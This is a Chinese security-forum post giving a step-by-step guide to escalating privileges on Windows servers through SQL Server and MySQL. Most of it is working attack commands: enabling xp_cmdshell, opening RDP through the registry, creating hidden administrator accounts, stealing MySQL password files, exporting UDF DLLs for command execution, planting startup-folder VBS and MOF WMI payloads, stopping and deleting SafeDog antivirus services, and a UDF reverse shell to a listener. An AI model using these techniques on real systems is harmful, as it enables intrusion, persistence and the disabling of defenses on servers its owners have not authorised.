安全矩阵

 找回密码
 立即注册
搜索
查看: 2937|回复: 0

Windows系统提权之数据库提权

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-3-6 09:33:32 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-3-6 16:45 编辑

原文链接:Windows系统提权之数据库提权

在利用系统溢出漏洞无果的情况下,可以尝试采用数据库进行提权。数据库提权的前提条件:拥有数据库最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能,本文主要针对SQL server,MySQL数据库提权进行记录。


SQL server,MySQL都需要具备数据库管理员权限才可执行提权操作。linux系统下mysql root用户是服务用户,权限不足以提权。Windows下mysql root权限很高,在没有被降权的情况可以进行提权操作。但是zkeys、宝塔等集成环境默认降权了root账号。


SQL server 数据库提权提权流程:获取SA账号>远程数据库登录>安装提权组件>创建账号>开启3389>远程系统登录>完成。

一、SA账号的获取
1.爆破获取账号密码
2.网站源码,查看数据库连接文件。如web.config、config.asp、conn.asp、dbconfig.asp。可能得到的账号名称不是sa,但是具有系统权限。使用数据库软件连接数据库执行系统数据库的操作,若可以操作说明此账号具有sa权限。或者利用注入sqlmap --is-dba确认是否为dba权限。SQL server默认允许sa外链登陆,mysql root用户默认不允许外链登陆。

二、提权
2.1允许外联
xp_cmdshell组件默认在mssql 2000中是开启的,在mssql 2005之后的版本中则默认禁止。拥有管理员sa权限则可以用sp_configure开启该组件。

1.使用已经得到的sa权限账号远程登录数据库
2.启用cmd_shell执行命令组件:
  1. EXEC sp_configure 'show advanced options', 1
  2. GO
  3. RECONFIGURE
  4. GO
  5. EXEC sp_configure 'xp_cmdshell', 1
  6. GO
  7. RECONFIGURE
  8. GO
复制代码



3.组件启用成功,可执行系统命令。在此基础上进行系统账号创建操作:


4.如果目标机器没有开启3389,使用以下命令开启3389
  1. exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
复制代码
5.其他
  1. #停用cmd_shell执行命令组件
  2. EXEC sp_configure 'show advanced options', 1
  3. RECONFIGURE
  4. EXEC sp_configure 'xp_cmdshell', 0
  5. RECONFIGURE

  6. #执行系统命令
  7. EXEC master.dbo.xp_cmdshell 'ipconfig'
  8. #关闭3389
  9. exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
  10. #如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
  11. exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
复制代码
2.2禁止外链
如果目标数据库没有开外链,我们无法从远程登录数据。则需要利用一些大马进行提权。

1.拿到账号密码,在大马上登录数据库


2.开启cmd_shell
  1. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  2. #该语句适用于sql server 2005
复制代码


3.命令执行


4.开启3389,远程登录

2.3 过杀软
以安全狗为例,利用cmd_shell提权时安全狗不拦截创建账号操作,但是会拦截添加到管理员组的操作。可以将创建的用户添加到远程桌面组(remote desktop users),但是登陆进去了是普通用户,权限很低。这时可以对文件进行降权,降权之后可对系统盘进行操作:

1.降权
  1. #将C盘设置为完全控制
  2. cacls c:/e /t /g everyone:F
复制代码


2.杀狗
  1. #system权限停用安全狗服务:
  2. net stop "safedog guard center" /y
  3. net stop "safedog update center" /y
  4. net stop "safedogguardcenter" /y

  5. #system权限删除安全狗服务:
  6. sc stop "SafeDogGuardCenter"
  7. sc config "SafeDogGuardCenter" start=disabled
  8. sc delete "Safedogguardcenter"

  9. sc stop "SafeDogupdateCenter"
  10. sc config "SafeDogUpdateCenter" start=disabled
  11. sc delete "SafedogUpdatecenter"

  12. sc stop "SafeDogCloudHeler"
  13. sc config "SafeDogCloudHeler" start=disabled
  14. sc delete "SafeDogCloudHeler"
  15. #重启服务器即可kill安全狗。
复制代码

3.其他
  1. https://github.com/keyixiaxiang/xiaxiang-killer
复制代码

MySQL数据库提权

一、获取root账号
1.1查看网站源码里面数据库配置文件(关键词:conn.php,config.php,dbconfig.php,config.inc.php,common.inc.php,inc,conn,config.sql,common,data,sql,data,inc,config,conn,database,common,include)

一般来说云主机上面的网站配置文件一般数据库连接文件都是低权限账号,是根据不用站点创建不同数据库用户。单个服务器上的网站属于一个机构,这种情况可能拿下数据库配置文件直接是root账号。另外我们得到的账号不是root也有可能是root权限,能过获取mysql数据库信息一般是root权限。


1.2查看数据库安装路径(select @@basedir)下的 (/mysql/data/mysql/user.myd)下载,本地打开。

情形一,可以直接读取账号密码:


情形二,得到的密文是不完整的或者管理员设置了其他密码不能登陆进去。下载user.myd,user.frm,user.myi三个数据库文件。替换到本地mysql数据库,注意mysql版本和目标保持版本一致确保兼容。替换完成后本地登陆mysql
  1. mysqld --skip-grant-tables
  2. # 跳过验证
  3. mysql.exe -uroot   
  4. # 进入MySQL
复制代码



1.3暴力破解(默认不能通过外部地址爆破,利用脚本在服务器进行本地破解)

①使用大马进行内部地址爆破:


②也可以上传数据库登录脚本,burp抓包爆破root账号密码


https://www.jb51.net/article/94867.htm

二、MySQL开外链修改user表host字段为%,表示允许任意地址登录MySQL,开启外链接成功
  1. Grant all privileges on *.* to 'root'@'%' identified by 'password' with grant option;
复制代码
开外联前


开外联后

三、UDF提权3.1 UDF提权原理udf(Userdefined function)是用户自定义函数简写。通过root权限将文件udf.dll导出到系统目录下,可以通过udf.dll创建执行系统命令的函数来调用执行cmd。现在基本上windows的服务器是以下两个路径导出UDF.DLL
  1. win 2000: C:\Winnt\udf.dll    win 2003: C:\Windows\udf.dll
  2. 在MySQL高版本中secure-file-priv参数限制了MySQL的导出;
复制代码


① NULL,表示禁止
② 如果value值有文件夹目录,则表示只允许该目录下文件(子目录都不行)
③ 如果为空(没有值),则表示不限制目录
MySQL5.0/5.6版本:my.ini中无此参数,查询该参数情况为空,不限制目录:
MySQL5.7版本:my.ini中存在参数,查询该参数情况为NULL,不允许导出:


3.2.提权
创建plugin目录:
MySQL 5.1 以上版本需要导出到mysql安装目录/lib/plugin/,5.1 以下直接安装在c:/windows目录下,如果5.1以上没有plugin目录,需要手工创建或者通过NTFS流创建目录:
  1. #NTFS流创建plugin目录select 'x' into dumpfile 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin::INDEX_ALLOCATION';
复制代码



查看plugin目录:select @@plugin_dir;


②导出udf,如果脚本没法导出udf文件,也可以手动将该文件复制到plugin文件夹下(创建plugin目录、复制粘贴udf文件都需要一定的权限)


手工导入udf文件:
  1. select load_file('d:\\wwwrooot\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
复制代码
③创建shell函数,创建完成后即可执行命令,也可以手动创建函数。
  1. #安装
  2. create function cmdshell returns string soname 'udf.dll'
  3. #写入命令
  4. select cmdshell('net user test 123.com /add');  
  5. select cmdshell('net localgroup administrators test /add');  
  6. drop function cmdshell; # 删除函数
复制代码

当然使用udf马自带的功能更省事一点:


④提权成功,可以执行命令
  1. select sys_eval('whoa<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">mi')
复制代码


如果目标mysql版本小于5.1。在这里导出即可


四、启动项提权

  1. #启动项目录:win 08:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startupwin 03:C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
复制代码

4.1 创建test数据库

  1. create database test;<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码

4.2 在TEST数据库下创建一个新的表;
  1. create table a (cmd text);#创建了一个表名为a的表,表中只存放一个字段,字段名为cmd,text文本
复制代码
4.3 在表中插入内容
  1. insert into a values ("set wshshell=createobject (""wscript.shell"")");
  2. insert into a values ("a=wshshell.run (""cmd.exe /c net user test123 123456 /add"",0)");
  3. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test123 /add"",0)");
  4. # 调用cmd创建管理员,注意双引号和括号以及后面的"0"一定要输入,用这三条命令来建立一个VBS的脚本程序
  5. select * from a;
复制代码

4.4 将表输出为一个VBS的脚本文件
  1. select * from a into outfile "C://ProgramData//Administrator//Windows//Start Menu//Programs//Startup//a.vbs";<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码



4.5重启计算机,创建用户成功。实际情况可以利用服务器漏洞,如ms12-020


4.6 二次执行进行提权
这里test123用户不是administrators组用户,使用相同的办法通过mysql命令重新写入vbs脚本。脚本内容为:
  1. insert into a values ("set wshshell=createobject (""wscript.shell"")");insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test123 /add"",0)");
  2. 然后加入启动项,再次重启计算机,此命令被执行,完成提权
复制代码

五、mof 提权
MOF是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。拥有mysql的root权限了以后,然后使用root权限去执行上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,里面包含cmd的添加管理员用户的命令。
  1. # 提权mof脚本
  2. #pragma namespace("\\\\.\\root\\subscription")
  3. #pragma namespace("\\\\.\\root\\subscription")
  4. instance of __EventFilter as $EventFilter
  5. {
  6.     EventNamespace = "Root\\Cimv2";
  7.     Name  = "filtP2";
  8.     Query = "Select * From __InstanceModificationEvent "
  9.             "Where TargetInstance Isa "Win32_LocalTime" "
  10.             "And TargetInstance.Second = 5";
  11.     QueryLanguage = "WQL";
  12. };
  13. instance of ActiveScriptEventConsumer as $Consumer
  14. {
  15.     Name = "consPCSV2";
  16.     ScriptingEngine = "JScript";
  17.     ScriptText =
  18.     "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.exe user admin admin /add")";
  19. };
  20. instance of __FilterToConsumerBinding
  21. {
  22.     Consumer   = $Consumer;
  23.     Filter = $EventFilter;
  24. };
复制代码

5.1上传文件 1.mof,使用sql语句导出到nullevt.mof文件中
  1. select load_file('C:/Inetpub/wwwroot/8099/uploads/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
复制代码



5.2隔一段时间服务器会自动执行此mof文件,文件代码内容是创建admin/admin用户
​​​​
5.3 用户创建成功。此时的admin用户只是普通用户权限


5.4 提升权限
把上面的命令再执行一遍,mof 文件脚本内容为添加admin用户为管理员。等待一段时间后再看admin用户,已经成功升级为管理员用户


六、反连端口提权反链端口提权也是利用的UDF提权。只是直接udf提权遇到waf的话会被拦截禁止执行系统函数。使用端口转发过掉防护

6.1 在kali上开启监听的端口
  1. nc -l -p 12345
复制代码

6.2 登陆,创建plugin目录,导出udf


6.3 创建反弹函数


6.4.执行反弹
  1. select backshell('192.168.1.5',12345)
  2. # 192.168.1.5为kali的IP,12345是要反弹的端口
复制代码



6.5 成功反弹shell,完成提权



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 21:40 , Processed in 0.014655 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表